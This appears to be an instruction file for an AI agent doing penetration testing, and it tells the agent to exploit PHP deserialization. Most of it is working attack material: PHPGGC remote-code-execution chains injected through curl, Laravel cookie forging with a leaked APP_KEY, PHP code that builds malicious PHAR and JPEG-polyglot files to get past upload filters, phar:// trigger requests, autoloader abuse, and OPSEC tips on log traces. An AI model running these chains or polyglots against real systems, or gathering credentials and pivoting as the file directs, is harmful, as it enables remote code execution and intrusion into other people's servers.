Deserialization PHP

PHP Deserialization

You are helping a penetration tester exploit PHP deserialization vulnerabilities. The target application passes untrusted data to unserialize() or processes attacker-controlled phar:// streams, enabling object injection and remote code execution via gadget chains. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

• Print [deserialization-php] Activated → <target> to the screen on activation.
• Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Prerequisites

• A PHP deserialization endpoint (unserialize() on user input, or filesystem function accepting phar://)
• Tools: phpggc (git clone https://github.com/ambionics/phpggc), Burp Suite for request interception
• Knowledge of target framework/libraries (Laravel, Symfony, WordPress, etc.)

Step 1: Assess

If not already provided, determine:

1. Serialization format — look for these patterns:

2. Entry point:

   • GET/POST parameters
   • Cookies (session data, auth tokens)
   • HTTP headers
   • File uploads (phar:// trigger)
   • Database-stored serialized data

3. Framework — check for Laravel, Symfony, WordPress, Magento, CakePHP, Yii, CodeIgniter (determines available PHPGGC chains)

4. PHP version — PHP 7.0+ supports allowed_classes option in unserialize(), PHP 7.4+ has __serialize()/__unserialize()

Skip if context was already provided.

Step 2: Basic Object Injection

Direct Injection (Custom Application)

If the application has vulnerable classes with exploitable magic methods:

# Magic methods triggered during deserialization:
# __wakeup()    — called when object is unserialized
# __destruct()  — called when object is garbage collected (most reliable)
# __toString()  — called when object is cast to string
# __call()      — called when undefined method is invoked
# __get()       — called when undefined property is read

Test payload — modify object properties:

# Original serialized session (example)
O:4:"User":2:{s:4:"name";s:5:"guest";s:5:"admin";b:0;}

# Modified — set admin=true
O:4:"User":2:{s:4:"name";s:5:"guest";s:5:"admin";b:1;}

Type Juggling via Deserialization

Exploit loose comparison (==) in PHP:

# If auth check uses: if ($data['password'] == $storedPassword)
# Send boolean true — true == "any_string" is true in PHP
a:2:{s:8:"username";s:5:"admin";s:8:"password";b:1;}

# Magic hash collision (md5/sha1 starting with 0e — treated as 0 in ==)
# md5('240610708') starts with 0e → 0e... == 0e... is true

Private/Protected Property Injection

PHP serialization encodes visibility with null bytes:

# Public property
s:4:"name";s:5:"value";

# Protected property (prefix: \0*\0)
s:7:"\0*\0name";s:5:"value";

# Private property (prefix: \0ClassName\0)
s:14:"\0MyClass\0name";s:5:"value";

Step 3: PHPGGC (Framework Gadget Chains)

PHPGGC generates POP chains for common PHP frameworks and libraries.

# List all available gadget chains
phpggc --list

# Common RCE chains
phpggc Monolog/RCE1 system id                    # Monolog logging
phpggc Monolog/RCE2 system id                    # Monolog alternative
phpggc Laravel/RCE9 system id                    # Laravel framework
phpggc Laravel/RCE13 system id                   # Laravel alternative
phpggc Symfony/RCE4 system id                    # Symfony framework
phpggc SwiftMailer/FW1 /var/www/html/shell.php /tmp/data  # File write

# Output formats
phpggc Monolog/RCE1 system id -s                 # Serialized string
phpggc Monolog/RCE1 system id -b                 # Base64 encoded
phpggc Monolog/RCE1 system id -u                 # URL encoded
phpggc Monolog/RCE1 system id -p phar -o /tmp/exploit.phar  # PHAR format

# Inject into parameter
curl -X POST https://TARGET/endpoint \
  -d "data=$(phpggc Monolog/RCE1 system 'id' -u)"

Framework → chain selection:

Laravel with Known APP_KEY

If the Laravel APP_KEY is known (from .env disclosure, git leak, debug page, etc.), encrypted cookies can be forged:

# Generate gadget chain
phpggc Laravel/RCE13 system 'id' -b -f

# Encrypt with laravel-crypto-killer
python3 laravel_crypto_killer.py encrypt \
  -k "base64:APP_KEY_HERE" \
  -v "$(phpggc Laravel/RCE13 system id -b -f)"

# Inject as Laravel session cookie or XSRF-TOKEN

APP_KEY leak sources: .env via path traversal, debug error pages (APP_DEBUG=true), git repository exposure, backup files, phpinfo().

Step 4: Phar Deserialization

When PHP filesystem functions process a phar:// path, the PHAR metadata is automatically deserialized — even with functions like file_exists(), filesize(), fopen(), is_file(), md5_file(), file_get_contents().

Create Malicious PHAR

<?php
// create_phar.php — run with: php --define phar.readonly=0 create_phar.php

class VULN_CLASS {  // Replace with target's vulnerable class
    public $cmd = 'system("id");';
}

$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata(new VULN_CLASS());
$phar->stopBuffering();
?>

PHAR Polyglot (Bypass Upload Filters)

Prepend image magic bytes to make the PHAR appear as a valid image:

<?php
// JPEG polyglot — passes image validation, works as PHAR
$phar = new Phar('exploit.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");  // JPEG header
$phar->setMetadata(new VULN_CLASS());
$phar->stopBuffering();
// Rename to .jpg for upload
rename('exploit.phar', 'exploit.jpg');
?>

Other magic byte options: GIF89a (GIF), \x89PNG\r\n\x1a\n (PNG).

PHAR + PHPGGC

# Generate PHAR with framework gadget chain
phpggc Monolog/RCE1 system id -p phar -o exploit.phar

# Create JPEG polyglot PHAR with PHPGGC
phpggc Monolog/RCE1 system id -p phar -pp GIF -o exploit.gif

Exploitation Flow

1. Upload PHAR polyglot as image (passes extension/MIME checks)
2. Trigger deserialization via any filesystem function that accepts user-controlled path:

   # If app has: file_exists($_GET['file'])
   curl "https://TARGET/check?file=phar:///var/www/uploads/exploit.jpg"
   
   # If app has: getimagesize($_GET['url'])
   curl "https://TARGET/resize?url=phar:///var/www/uploads/exploit.jpg"
   

Step 5: Autoload Exploitation

When the target has spl_autoload_register() and you can deserialize objects of non-existent classes, the autoloader attempts to load them — potentially including arbitrary files.

// If autoloader converts underscores to directory separators:
// spl_autoload_register(function($name) {
//     require '/' . str_replace('_', '/', $name) . '.php';
// });

// Payload to load /tmp/evil.php via autoloader:
O:8:"tmp_evil":0:{}

// Load another webapp's composer autoloader (gains access to its gadgets):
O:28:"www_frontend_vendor_autoload":0:{}

Chain technique: Load another app's autoloader via deserialization, then exploit gadgets from that app's dependencies (e.g., Guzzle FileCookieJar for file write).

Step 6: Escalate or Pivot

OPSEC Notes

• Serialized payloads visible in web server access logs
• PHAR files persist on disk — clean up after testing
• PHPGGC chains contain distinctive class names (Monolog, Guzzle) that may trigger application-level logging
• Failed deserialization attempts often generate PHP warnings/errors — check if error logging exposes testing activity
• Laravel encrypted cookies hide payload content but cookie size may be anomalous

Troubleshooting

PHPGGC Chain Throws Error

• Confirm the target framework/library version matches the chain requirements
• Try multiple chains for the same framework (Laravel/RCE9, RCE13, RCE15)
• Check if unserialize() uses allowed_classes restriction (PHP 7.0+)
• If allowed_classes is set, only whitelisted classes instantiate — try phar:// deserialization instead (bypasses allowed_classes)

Phar Deserialization Not Triggering

• Verify the filesystem function accepts user-controlled input
• Check if phar:// wrapper is disabled in php.ini (allow_url_fopen does not affect phar)
• Ensure the PHAR file is accessible at the path you're referencing
• Try phar:// with relative and absolute paths
• Some functions require the phar to have a valid signature

Serialized Data Modified but No Effect

• Check if the application validates a MAC/signature on the serialized data
• Laravel encrypts + HMACs cookies — need APP_KEY to forge
• WordPress uses wp_salt() for cookie signatures
• Try finding the signing key or look for unsigned deserialization points

Type Juggling Bypass Not Working

• PHP 8.0+ changed == behavior for string-number comparison ("0" == "" is now false)
• Check if the application uses strict comparison (===)
• Magic hash collisions only work with loose == comparison